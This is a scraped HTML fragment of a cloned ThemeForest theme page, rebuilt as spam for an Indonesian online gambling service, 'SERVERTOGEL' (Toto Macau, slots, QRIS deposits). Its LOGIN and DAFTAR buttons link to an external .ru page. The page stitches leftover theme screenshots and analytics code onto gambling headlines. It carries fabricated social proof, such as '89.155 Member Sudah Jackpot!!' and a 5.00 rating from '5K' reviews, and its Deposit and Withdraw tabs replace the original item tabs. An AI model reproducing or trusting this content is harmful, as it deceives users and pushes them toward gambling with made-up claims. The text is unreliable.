  4549.                                            <a class="header-site-titles__link t-link" alt="Graphics" href="https://www.missourikayakadventures.com/weather">SERVERTOGEL SLOT</a>
  4550.                                        </div>
  4551.                                        <div class="header-site-titles__site">
  4552.                                            <a class="header-site-titles__link t-link" alt="Photos" href="https://www.missourikayakadventures.com/weather">SERVERTOGEL MACAU</a>
  4553.                                        </div>
  4554.                                        <div class="header-site-titles__site elements-nav__container">
  4555.                                            <a class="header-site-titles__link t-link elements-nav__main-link" href="https://elements.envato.com/?utm_campaign=elements_mkt-switcher_31JUL2024&amp;utm_content=tf_item_8988002&amp;utm_medium=referral&amp;utm_source=themeforest.net" target="_blank">
  4556.                                                <span>Unlimited Downloads
  4557.                                                </span>
  4558.                                            </a>
  4559.                                            <a target="_blank" class="elements-nav__dropdown-container unique-selling-points__variant" data-analytics-view-payload="{&quot;eventName&quot;:&quot;view_promotion&quot;,&quot;contextDetail&quot;:&quot;site switcher&quot;,&quot;ecommerce&quot;:{&quot;promotionId&quot;:&quot;elements_mkt-switcher_31JUL2024&quot;,&quot;promotionName&quot;:&quot;elements_mkt-switcher_31JUL2024&quot;,&quot;promotionType&quot;:&quot;elements referral&quot;}}" data-analytics-click-payload="{&quot;eventName&quot;:&quot;select_promotion&quot;,&quot;contextDetail&quot;:&quot;site switcher&quot;,&quot;ecommerce&quot;:{&quot;promotionId&quot;:&quot;elements_mkt-switcher_31JUL2024&quot;,&quot;promotionName&quot;:&quot;elements_mkt-switcher_31JUL2024&quot;,&quot;promotionType&quot;:&quot;elements referral&quot;}}" href="https://elements.envato.com/?utm_campaign=elements_mkt-switcher_31JUL2024&amp;utm_content=tf_item_8988002&amp;utm_medium=referral&amp;utm_source=themeforest.net">
  4560.                                                <div class="elements-nav__main-panel">
  4561.                                                    <img class="elements-nav__logo-container" loading="lazy" src="https://public-assets.envato-static.com/assets/header/EnvatoElements-logo-4f70ffb865370a5fb978e9a1fc5bbedeeecdfceb8d0ebec2186aef4bee5db79d.svg" alt="Elements logo" height="23" width="101">
  4562.                                                    <div class="elements-nav__punch-line">
  4563.                                                        <h2>Looking for unlimited downloads?
  4564.                                                        </h2>
  4565.                                                        <p>Subscribe to Envato Elements.
  4566.                                                        </p>
  4567.                                                        <ul>
  4568.                                                            <li>
  4569.                                                                <img src="https://public-assets.envato-static.com/assets/header/badge-a65149663b95bcee411e80ccf4da9788f174155587980d8f1d9c44fd8b59edd8.svg" alt="badge" width="20" height="20">Millions of
  4570.                                                                premium assets
  4571.                                                            
  4572.                                                            </li>
  4573.                                                            <li>
  4574.                                                                <img src="https://public-assets.envato-static.com/assets/header/thumbs_up-e5ce4c821cfd6a6aeba61127a8e8c4d2d7c566e654f588a22708c64d66680869.svg" alt="thumbs up" width="20" height="20">Great
  4575.                                                                value subscription
  4576.                                                            
  4577.                                                            </li>
  4578.                                                        </ul>
  4579.                                                        <button class="brand-neue-button brand-neue-button__open-in-new elements-nav__cta">Let's
  4580.                                                            create</button>
  4581.                                                        <p></p>
  4582.                                                    </div>
  4583.                                                </div>
  4584.                                                <div class="elements-nav__secondary-panel">
  4585.                                                    <img class="elements-nav__secondary-panel__collage" loading="lazy" src="https://public-assets.envato-static.com/assets/header/items-collage-1x-a39e4a5834e75c32a634cc7311720baa491687b1aaa4b709ebd1acf0f8427b53.png" srcset="https://public-assets.envato-static.com/assets/header/items-collage-2x-75e1ad16a46b9788861780a57feeb5fd1ad1026ecce9330302f0ef8f6f542697.png 2x" alt="Collage of Elements items" width="267" height="233">
  4586.                                                </div>
  4587.                                            </a>
  4588.                                        </div>
  4589.                                        <div class="header-site-floating-logo">
  4590.                                            <div class="">
  4591.                                                <img src="https://i.gyazo.com/9f413b04041c7f97eab01b7f7e45bdd7.gif" alt="SERVERTOGEL" style="max-width: 150px; height: 80px; object-fit: contain;" data-spm-anchor-id="0.0.header.i0.27e27142EyRkBl">
  4592.                                            </div>
  4593.                                        </div>
  4594.                                    </nav>
  4595.                                </div>
  4596.                            </div>
  4597.                        </div>
  4598.                        <div class="site-header__categories is-hidden-tablet-and-below">
  4599.                            <div class="header-categories">
  4600.                                <div class="grid-container -layout-wide">
  4601.                                    <ul class="header-categories__links">
  4602.                                        <li class="header-categories__links-item">
  4603.                                            <a class="header-categories__main-link" data-view="touchOnlyDropdown" data-dropdown-target=".js-categories-0-dropdown" href="https://www.missourikayakadventures.com/weather">SERVERTOGEL
  4604.  
  4605.                                            </a>
  4606.                                        </li>
  4607.                                        <div class="header-categories__search">
  4608.                                            <form id="search" data-view="searchField" action="https://www.missourikayakadventures.com/weather" accept-charset="UTF-8" method="get">
  4609.                                                <div class="search-field -border-light h-ml2">
  4610.                                                    <div class="search-field__input">
  4611.                                                        <input id="term" name="term" class="js-term search-field__input-field" type="search" placeholder="Search">
  4612.                                                    </div>
  4613.                                                    <button class="search-field__button" type="submit">
  4614.                                                        <i class="e-icon -icon-search">
  4615.                                                            <span class="e-icon__alt">Search</span>
  4616.                                                        </i>
  4617.                                                    </button>
  4618.                                                </div>
  4619.                                            </form>
  4620.                                        </div>
  4621.                                    </ul>
  4622.                                </div>
  4623.                            </div>
  4624.                        </div>
  4625.                    </header>
  4626.                </div>
  4627.                <div class="js-canvas__body canvas__body">
  4628.                    <div class="grid-container"></div>
  4629.                    <div class="context-header ">
  4630.                        <div class="grid-container ">
  4631.                            <nav class="breadcrumbs h-text-truncate  ">
  4632.                                <a class="js-breadcrumb-category" href="https://www.missourikayakadventures.com/weather">SERVERTOGEL</a>
  4633.                                <a href="https://www.missourikayakadventures.com/weather" class="js-breadcrumb-category">SERVERTOGEL SLOT</a>
  4634.                                <a class="js-breadcrumb-category" href="https://www.missourikayakadventures.com/weather">IDAMAN TOTO</a>
  4635.                            </nav>
  4636.                            <div class="item-header" data-view="itemHeader">
  4637.                                <div class="item-header__top">
  4638.                                    <div class="item-header__title">
  4639.                                        <h1 class="t-heading -color-inherit -size-l h-m0 is-hidden-phone">SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS</h1>
  4640.                                        <h1 class="t-heading -color-inherit -size-xs h-m0 is-hidden-tablet-and-above">SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS
  4641.                                        </h1>
  4642.                                    </div>
  4643.                                    <div class="item-header__price is-hidden-desktop">
  4644.                                        <a class="js-item-header__cart-button e-btn--3d -color-primary -size-m" rel="nofollow" title="Add to Cart" data-view="modalAjax" href="https://www.missourikayakadventures.com/weather">
  4645.                                            <span class="item-header__cart-button-icon">
  4646.                                                <i class="e-icon -icon-cart -margin-right"></i>
  4647.                                            </span>
  4648.                                            <span class="t-heading -size-m -color-light -margin-none">
  4649.                                                <b class="t-currency">
  4650.                                                    <span class="js-item-header__price">$58</span>
  4651.                                                </b>
  4652.                                            </span>
  4653.                                        </a>
  4654.                                    </div>
  4655.                                </div>
  4656.                                <div class="item-header__details-section">
  4657.                                    <div class="item-header__author-details">
  4658.                                        By <a rel="author" class="js-by-author" href="https://www.missourikayakadventures.com/weather">SERVERTOGEL</a>
  4659.                                    </div>
  4660.                                    <div class="item-header__sales-count">
  4661.                                        <svg width="16px" height="16px" viewBox="0 0 16 16" class="item-header__sales-count-icon" xmlns="http://www.w3.org/2000/svg" aria-labelledby="title" role="img">
  4662.                                            <title>Cart</title>
  4663.                                            <path d="M 0.009 1.349 C 0.009 1.753 0.347 2.086 0.765 2.086 C 0.765 2.086 0.766 2.086 0.767 2.086 L 0.767 2.09 L 2.289 2.09 L 5.029 7.698 L 4.001 9.507 C 3.88 9.714 3.812 9.958 3.812 10.217 C 3.812 11.028 4.496 11.694 5.335 11.694 L 14.469 11.694 L 14.469 11.694 C 14.886 11.693 15.227 11.36 15.227 10.957 C 15.227 10.552 14.886 10.221 14.469 10.219 L 14.469 10.217 L 5.653 10.217 C 5.547 10.217 5.463 10.135 5.463 10.031 L 5.487 9.943 L 6.171 8.738 L 11.842 8.738 C 12.415 8.738 12.917 8.436 13.175 7.978 L 15.901 3.183 C 15.96 3.08 15.991 2.954 15.991 2.828 C 15.991 2.422 15.65 2.09 15.23 2.09 L 3.972 2.09 L 3.481 1.077 L 3.466 1.043 C 3.343 0.79 3.084 0.612 2.778 0.612 C 2.777 0.612 0.765 0.612 0.765 0.612 C 0.347 0.612 0.009 0.943 0.009 1.349 Z M 3.819 13.911 C 3.819 14.724 4.496 15.389 5.335 15.389 C 6.171 15.389 6.857 14.724 6.857 13.911 C 6.857 13.097 6.171 12.434 5.335 12.434 C 4.496 12.434 3.819 13.097 3.819 13.911 Z M 11.431 13.911 C 11.431 14.724 12.11 15.389 12.946 15.389 C 13.784 15.389 14.469 14.724 14.469 13.911 C 14.469 13.097 13.784 12.434 12.946 12.434 C 12.11 12.434 11.431 13.097 11.431 13.911 Z"></path>
  4664.                                        </svg>
  4665.                                        <strong>89.155</strong>
  4666.                                        Member Sudah Jackpot!!
  4667.                                    
  4668.                                    </div>
  4669.                                    <div class="item-header__envato-highlighted">
  4670.                                        <strong>SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS</strong>
  4671.                                        <svg width="16px" height="16px" viewBox="0 0 14 14" class="item-header__envato-checkmark-icon" xmlns="http://www.w3.org/2000/svg" aria-labelledby="title" role="img">
  4672.                                            <title></title>
  4673.                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M0.333252 7.00004C0.333252 3.31814 3.31802 0.333374 6.99992 0.333374C8.76803 0.333374 10.4637 1.03575 11.714 2.286C12.9642 3.53624 13.6666 5.23193 13.6666 7.00004C13.6666 10.6819 10.6818 13.6667 6.99992 13.6667C3.31802 13.6667 0.333252 10.6819 0.333252 7.00004ZM6.15326 9.23337L9.89993 5.48671C10.0227 5.35794 10.0227 5.15547 9.89993 5.02671L9.54659 4.67337C9.41698 4.54633 9.20954 4.54633 9.07993 4.67337L5.91993 7.83337L4.91993 6.84004C4.85944 6.77559 4.77498 6.73903 4.68659 6.73903C4.5982 6.73903 4.51375 6.77559 4.45326 6.84004L4.09993 7.19337C4.03682 7.25596 4.00133 7.34116 4.00133 7.43004C4.00133 7.51892 4.03682 7.60412 4.09993 7.66671L5.68659 9.23337C5.74708 9.29782 5.83154 9.33439 5.91993 9.33439C6.00832 9.33439 6.09277 9.29782 6.15326 9.23337Z" fill="#79B530"></path>
  4674.                                        </svg>
  4675.                                    </div>
  4676.                                </div>
  4677.                            </div>
  4678.                            <!-- Desktop Item Navigation -->
  4679.                            <div class="is-hidden-tablet-and-below page-tabs">
  4680.                                <ul>
  4681.                                    <li class="selected">
  4682.                                        <a class="js-item-navigation-item-details t-link -decoration-none" href="https://www.missourikayakadventures.com/weather">Item
  4683.                                            Details</a>
  4684.                                    </li>
  4685.                                    <li>
  4686.                                        <a class="js-item-navigation-reviews t-link -decoration-none" href="#">
  4687.                                            <span>Reviews</span>
  4688.                                            <span>
  4689.                                                <div class="rating-detailed-small">
  4690.                                                    <div class="rating-detailed-small__header">
  4691.                                                        <div class="rating-detailed-small__stars">
  4692.                                                            <div class="rating-detailed-small-center__star-rating">
  4693.                                                                <i class="e-icon -icon-star"></i>
  4694.                                                                <i class="e-icon -icon-star"></i>
  4695.                                                                <i class="e-icon -icon-star"></i>
  4696.                                                                <i class="e-icon -icon-star"></i>
  4697.                                                                <i class="e-icon -icon-star"></i>
  4698.                                                            </div>
  4699.                                                            5.00
  4700.                                                            <span class="is-visually-hidden">5.00 stars</span>
  4701.                                                        </div>
  4702.                                                    </div>
  4703.                                                </div>
  4704.                                            </span>
  4705.                                            <span class="item-navigation-reviews-comments">5K</span>
  4706.                                        </a>
  4707.                                    </li>
  4708.                                    <li>
  4709.                                        <a class="js-item-navigation-comments t-link -decoration-none" href="#">
  4710.                                            <span>Deposit</span>
  4711.                                            <span class="item-navigation-reviews-comments">25K</span>
  4712.                                        </a>
  4713.                                    </li>
  4714.                                    <li>
  4715.                                        <a class="js-item-navigation-support t-link -decoration-none">Withdraw</a>
  4716.                                    </li>
  4717.                                </ul>
  4718.                            </div>
  4719.                        </div>
  4720.                    </div>
  4721.                </div>
  4722.                <style>
  4723.                    .n-columns-2 {
  4724.                        display: grid;
  4725.                        grid-template-columns: repeat(2, 1fr);
  4726.                        font-weight: 700;
  4727.                    }
  4728.  
  4729.                    .n-columns-2 a {
  4730.                        text-align: center;
  4731.                        margin: 3px;
  4732.                    }
  4733.  
  4734.                    .login, .register {
  4735.                        color: #fff;
  4736.                        padding: 10px 10px;
  4737.                    }
  4738.  
  4739.                    .login, .login-button {
  4740.                        text-shadow: 2px 2px #0c0f12;
  4741.                        border-radius: 10px 10px;
  4742.                        border: 1px solid #000000;
  4743.                        background: linear-gradient(to bottom, #05ed3b 0, #05ed3b 50%);
  4744.                        color: #fff;
  4745.                    }
  4746.  
  4747.                    .register, .register-button {
  4748.                        text-shadow: 2px 2px #000000;
  4749.                        border-radius: 10px 10px;
  4750.                        background: linear-gradient(to bottom, #dec209 0, #ffff00 50%);
  4751.                        border: 1px solid #000000;
  4752.                    }
  4753.  
  4754.                    .item-preview img {
  4755.                        display: block;
  4756.                        width: 100%;
  4757.                        height: 100%;
  4758.                        margin: auto;
  4759.                    }
  4760.                </style>
  4761.                <!-- Section 2 -->
  4762.                <div class="section-2-container section-container section-container-gray-bg">
  4763.                    <div class="container mt-1 pt-1">
  4764.                        <div class="col-12">
  4765.                            <div class="w-100 mt-4 mb-4 text-center">
  4766.                                <div class="n-columns-2">
  4767.                                    <a href="https://rc-komi.ru/content/anakmamih.html" rel="nofollow noreferrer" class="login">LOGIN</a>
  4768.                                    <a href="https://rc-komi.ru/content/anakmamih.html" rel="nofollow noreferrer" class="register">DAFTAR</a>
  4769.                                </div>
  4770.                            </div>
  4771.                            <!-- Section 2 -->
  4772.                        </div>
  4773.                    </div>
  4774.                </div>
  4775.            </div>
  4776.        </div>
  4777.    </div>
  4778.    <!-- Tablet or below Item Navigation -->
  4779.    <div class="page-tabs--dropdown" data-view="replaceItemNavsWithRemote" data-target=".js-remote">
  4780.        <div class="page-tabs--dropdown__slt-custom-wlabel">
  4781.            <div class="slt-custom-wlabel--page-tabs--dropdown">
  4782.                <label>
  4783.                    <span class="js-label">Item Details
  4784.                    </span>
  4785.                    <span class="slt-custom-wlabel__arrow">
  4786.                        <i class="e-icon -icon-arrow-fill-down"></i>
  4787.                    </span>
  4788.                </label>
  4789.                <select class="js-remote">
  4790.                    <option selected data-url="/item/marketica-marketplace-wordpress-theme/8988002">Item
  4791.                        Details</option>
  4792.                    <option data-url="/item/marketica-marketplace-wordpress-theme/reviews/8988002">Reviews (75)</option>
  4793.                    <option data-url="/item/marketica-marketplace-wordpress-theme/8988002/comments">Comments (802)</option>
  4794.                    <option data-url="/item/marketica-marketplace-wordpress-theme/8988002/support">Support</option>
  4795.                </select>
  4796.            </div>
  4797.        </div>
  4798.    </div>
  4799.    <div class="page-tabs">
  4800.        <ul class="right item-bookmarking__left-icons_hidden" data-view="bookmarkStatesLoader">
  4801.            <li class="js-favorite-widget item-bookmarking__control_icons--favorite" data-item-id="8988002">
  4802.                <a data-view="modalAjax" class="t-link -decoration-none" href="https://www.missourikayakadventures.com/weather">
  4803.                    <span class="item-bookmarking__control--label">Add to Favorites</span>
  4804.                </a>
  4805.            </li>
  4806.            <li class="js-collection-widget item-bookmarking__control_icons--collection" data-item-id="8988002">
  4807.                <a data-view="modalAjax" class="t-link -decoration-none" href="https://www.missourikayakadventures.com/weather">
  4808.                    <span class="item-bookmarking__control--label">Add to Collection</span>
  4809.                </a>
  4810.            </li>
  4811.        </ul>
  4812.    </div>
  4813.    <div class="content-main" id="content">
  4814.        <div class="grid-container">
  4815.            <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  4816.                //<![CDATA[
  4817.                window.GtmMeasurements.sendAnalyticsEvent({
  4818.                    "eventName": "view_item",
  4819.                    "eventType": "user",
  4820.                    "ecommerce": {
  4821.                        "currency": "USD",
  4822.                        "value": 37.0,
  4823.                        "items": [{
  4824.                            "affiliation": "themeforest",
  4825.                            "item_id": 8988002,
  4826.                            "item_name": "SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS",
  4827.                            "item_brand": "tokopress",
  4828.                            "item_category": "wordpress",
  4829.                            "item_category2": "ecommerce",
  4830.                            "item_category3": "woocommerce",
  4831.                            "price": 37.0,
  4832.                            "quantity": 1,
  4833.                            "item_add_on": "bundle_6month",
  4834.                            "item_variant": "regular"
  4835.                        }]
  4836.                    }
  4837.                });
  4838.  
  4839.                //]]>
  4840.            </script>
  4841.            <div>
  4842.                <link href="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png">
  4843.                <div class="content-s ">
  4844.                    <div class="item-bookmarking__left-icons__wrapper">
  4845.                        <ul class="item-bookmarking__left-icons" data-view="bookmarkStatesLoader">
  4846.                            <li class="item-bookmarking__control_icons--favorite">
  4847.                                <span>
  4848.                                    <a title="Add to Favorites" data-view="modalAjax" href="https://www.missourikayakadventures.com/weather">
  4849.                                        <span class="item-bookmarking__control--label">Add to
  4850.                                            Favorites</span>
  4851.                                    </a>
  4852.                                </span>
  4853.                            </li>
  4854.                            <li class="item-bookmarking__control_icons--collection">
  4855.                                <span>
  4856.                                    <a title="Add to Collection" data-view="modalAjax" href="https://www.missourikayakadventures.com/weather">
  4857.                                        <span class="item-bookmarking__control--label">Add to
  4858.                                            Collection</span>
  4859.                                    </a>
  4860.                                </span>
  4861.                            </li>
  4862.                        </ul>
  4863.                    </div>
  4864.                    <div class="box--no-padding">
  4865.                        <div class="item-preview live-preview-btn--blue -preview-live">
  4866.                            <a target="_blank" href="https://rc-komi.ru/content/anakmamih.html">
  4867.                                <img alt="SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS - WooCommerce eCommerce" width="500" height="500" srcset="https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png" sizes="(min-width: 1024px) 590px, (min-width: 1px) 100vw, 600px" src="https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png">
  4868.                            </a>
  4869.                            <div class="js- item-preview-image__gallery" data-title="SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS - WooCommerce eCommerce Screenshots Gallery" data-url="marketica-marketplace-wordpress-theme/screenshots/modal/8988002">
  4870.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/00-marketica-preview-sale37.jpg">MARKETICA_PREVIEW/00-marketica-preview-sale37.jpg</a>
  4871.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/01_marketica2_homepage.png">MARKETICA_PREVIEW/01_marketica2_homepage.png</a>
  4872.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/02_marketica2_shop_page.png">MARKETICA_PREVIEW/02_marketica2_shop_page.png</a>
  4873.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/03_marketica2_single_product_page.png">MARKETICA_PREVIEW/03_marketica2_single_product_page.png</a>
  4874.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/04_marketica2_cart_page.png">MARKETICA_PREVIEW/04_marketica2_cart_page.png</a>
  4875.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/05_marketica2_checkout_page.png">MARKETICA_PREVIEW/05_marketica2_checkout_page.png</a>
  4876.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/06_marketica2_myaccount_login_page.png">MARKETICA_PREVIEW/06_marketica2_myaccount_login_page.png</a>
  4877.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/07_marketica2_plan_and_pricing_page.png">MARKETICA_PREVIEW/07_marketica2_plan_and_pricing_page.png</a>
  4878.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/08_marketica2_team_members_page.png">MARKETICA_PREVIEW/08_marketica2_team_members_page.png</a>
  4879.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/09_marketica2_contact_page_template.png">MARKETICA_PREVIEW/09_marketica2_contact_page_template.png</a>
  4880.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/10_marketica2_blog_page.png">MARKETICA_PREVIEW/10_marketica2_blog_page.png</a>
  4881.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/11_marketica2_blog_post_formats.png">MARKETICA_PREVIEW/11_marketica2_blog_post_formats.png</a>
  4882.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/12_marketica2_single_product_page.png">MARKETICA_PREVIEW/12_marketica2_single_product_page.png</a>
  4883.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/13_marketica2_theme_customizer.png">MARKETICA_PREVIEW/13_marketica2_theme_customizer.png</a>
  4884.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/14_marketica2_visualcomposer_templates.png">MARKETICA_PREVIEW/14_marketica2_visualcomposer_templates.png</a>
  4885.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/15_marketica2_tablet_view.png">MARKETICA_PREVIEW/15_marketica2_tablet_view.png</a>
  4886.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/16_marketica2_tablet_view_offcanvas_menu.png">MARKETICA_PREVIEW/16_marketica2_tablet_view_offcanvas_menu.png</a>
  4887.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/17_marketica2_themeoptions_header.png">MARKETICA_PREVIEW/17_marketica2_themeoptions_header.png</a>
  4888.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/18_marketica2_themeoptions_footer.png">MARKETICA_PREVIEW/18_marketica2_themeoptions_footer.png</a>
  4889.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/19_marketica2_themeoptions_contact.png">MARKETICA_PREVIEW/19_marketica2_themeoptions_contact.png</a>
  4890.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/20_marketica2_themeoptions_woocommerce.png">MARKETICA_PREVIEW/20_marketica2_themeoptions_woocommerce.png</a>
  4891.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/21_marketica2_wcvendors_user_page.png">MARKETICA_PREVIEW/21_marketica2_wcvendors_user_page.png</a>
  4892.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/22_marketica2_wcvendors_vendor_page.png">MARKETICA_PREVIEW/22_marketica2_wcvendors_vendor_page.png</a>
  4893.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/23_marketica2_wcvendors_vendor_dashboard.png">MARKETICA_PREVIEW/23_marketica2_wcvendors_vendor_dashboard.png</a>
  4894.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/24_marketica2_wcvendors_shop_settings.png">MARKETICA_PREVIEW/24_marketica2_wcvendors_shop_settings.png</a>
  4895.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/25_marketica2_dokan_vendor_store_page.png">MARKETICA_PREVIEW/25_marketica2_dokan_vendor_store_page.png</a>
  4896.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/26_marketica2_dokan_vendor_review_page.png">MARKETICA_PREVIEW/26_marketica2_dokan_vendor_review_page.png</a>
  4897.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/27_marketica2_dokan_vendor_dashboard_page.png">MARKETICA_PREVIEW/27_marketica2_dokan_vendor_dashboard_page.png</a>
  4898.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/28_marketica2_dokan_vendor_dashboard_products_page.png">MARKETICA_PREVIEW/28_marketica2_dokan_vendor_dashboard_products_page.png</a>
  4899.                                <a class="is-hidden" href="https://s3.envato.com/files/344043819/MARKETICA_PREVIEW/29_marketica2_dokan_vendor_dashboard_settings_page.png">MARKETICA_PREVIEW/29_marketica2_dokan_vendor_dashboard_settings_page.png</a>
  4900.                            </div>
  4901.                            <div class="item-preview__actions">
  4902.                                <div id="fullscreen" class="item-preview__preview-buttons">
  4903.                                    <a href="https://rc-komi.ru/content/anakmamih.html" role="button" class="btn-icon live-preview" target="_blank" rel="noopener nofollow">LOGIN
  4904.                                    </a>
  4905.                                    <a data-view="screenshotGallery" href="https://rc-komi.ru/content/anakmamih.html" role="button" class="btn-icon screenshots" target="_blank" rel="noopener">DAFTAR
  4906.                                    </a>
  4907.                                </div>
  4908.                            </div>
  4909.                        </div>
  4910.                    </div>
  4911.                    <div data-view="toggleItemDescription">
  4912.                        <div class="js-item-togglable-content has-toggle">
  4913.                            <div class="js-item-description-toggle item-description-toggle">
  4914.                                <a class="item-description-toggle__link" href="https://www.missourikayakadventures.com/weather">
  4915.                                    <span>
  4916.                                        Show More <i class="e-icon -icon-chevron-down"></i>
  4917.                                    </span>
  4918.                                    <span class="item-description-toggle__less">
  4919.                                        Show Less <i class="e-icon -icon-chevron-down -rotate-180"></i>
  4920.                                    </span>
  4921.                                </a>
  4922.                            </div>
  4923.                        </div>
  4924.                    </div>
  4925.                    <section data-view="recommendedItems" data-url="/item/marketica-marketplace-wordpress-theme/8988002/recommended_items" id="recommended_items">
  4926.                        <div class="author-recommended-collection">
  4927.                            <ul class="author-recommended-collection__list" data-analytics-view-payload="{&quot;eventName&quot;:&quot;view_item_list&quot;,&quot;eventType&quot;:&quot;user&quot;,&quot;ecommerce&quot;:{&quot;currency&quot;:&quot;USD&quot;,&quot;item_list_name&quot;:&quot;Author Recommended tokopress&quot;,&quot;items&quot;:[{&quot;affiliation&quot;:&quot;themeforest&quot;,&quot;item_id&quot;:26116208,&quot;item_name&quot;:&quot;Retrave | Travel \u0026 Tour Agency Elementor Template Kit&quot;,&quot;item_brand&quot;:&quot;tokopress&quot;,&quot;item_category&quot;:&quot;template-kits&quot;,&quot;item_category2&quot;:&quot;elementor&quot;,&quot;item_category3&quot;:&quot;travel-accomodation&quot;,&quot;price&quot;:&quot;24&quot;,&quot;quantity&quot;:1,&quot;index&quot;:1},{&quot;affiliation&quot;:&quot;themeforest&quot;,&quot;item_id&quot;:26126773,&quot;item_name&quot;:&quot;Coursly | Education \u0026 Offline Course Elementor Template Kit&quot;,&quot;item_brand&quot;:&quot;tokopress&quot;,&quot;item_category&quot;:&quot;template-kits&quot;,&quot;item_category2&quot;:&quot;elementor&quot;,&quot;item_category3&quot;:&quot;education&quot;,&quot;price&quot;:&quot;24&quot;,&quot;quantity&quot;:1,&quot;index&quot;:2},{&quot;affiliation&quot;:&quot;themeforest&quot;,&quot;item_id&quot;:26416085,&quot;item_name&quot;:&quot;Sweeding | Wedding Event Invitation Elementor Template Kit&quot;,&quot;item_brand&quot;:&quot;tokopress&quot;,&quot;item_category&quot;:&quot;template-kits&quot;,&quot;item_category2&quot;:&quot;elementor&quot;,&quot;item_category3&quot;:&quot;weddings&quot;,&quot;price&quot;:&quot;24&quot;,&quot;quantity&quot;:1,&quot;index&quot;:3}]},&quot;item_list_id&quot;:8435762}"></ul>
  4928.                        </div>
  4929.                        <div></div>
  4930.                    </section>
  4931.                    <div data-view="itemPageScrollEvents"></div>
  4932.                </div>
  4933.                <div class="sidebar-l sidebar-right">
  4934.                    <div class="pricebox-container">
  4935.                        <div class="purchase-panel">
  4936.                            <div id="purchase-form" class="purchase-form">
  4937.                                <form data-view="purchaseForm" data-analytics-has-custom-click="true" data-analytics-click-payload="{&quot;eventName&quot;:&quot;add_to_cart&quot;,&quot;eventType&quot;:&quot;user&quot;,&quot;quantityUpdate&quot;:false,&quot;ecommerce&quot;:{&quot;currency&quot;:&quot;USD&quot;,&quot;value&quot;:37.0,&quot;items&quot;:[{&quot;affiliation&quot;:&quot;themeforest&quot;,&quot;item_id&quot;:8988002,&quot;item_name&quot;:&quot;SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS&quot;,&quot;item_brand&quot;:&quot;tokopress&quot;,&quot;item_category&quot;:&quot;wordpress&quot;,&quot;item_category2&quot;:&quot;ecommerce&quot;,&quot;item_category3&quot;:&quot;woocommerce&quot;,&quot;price&quot;:&quot;37&quot;,&quot;quantity&quot;:1}]}}" action="https://www.missourikayakadventures.com/weather" accept-charset="UTF-8" method="post">
  4938.                                    <input type="hidden" name="authenticity_token" value="o7V7LGbBjnF9HgzqsCOek0VUbYNaqFcrL72zjeu3cGTv2_7pn5UklFm7XFtDaDCfkbbeD4zdIzwPzjrUhXtbHQ" autocomplete="off">
  4939.                                    <div>
  4940.                                        <div data-view="itemVariantSelector" data-id="8988002" data-cookiebot-enabled="true">
  4941.                                            <div class="purchase-form__selection">
  4942.                                                <span class="purchase-form__license-type">
  4943.                                                    <span data-view="flyout" class="flyout">
  4944.                                                        <span class="js-license-selector__chosen-license purchase-form__license-dropdown">Regular
  4945.                                                            License</span>
  4946.                                                        <div class="js-flyout__body flyout__body -padding-side-removed">
  4947.                                                            <span class="js-flyout__triangle flyout__triangle"></span>
  4948.                                                            <div class="license-selector" data-view="licenseSelector">
  4949.                                                                <div class="js-license-selector__item license-selector__item" data-license="regular" data-name="Regular License">
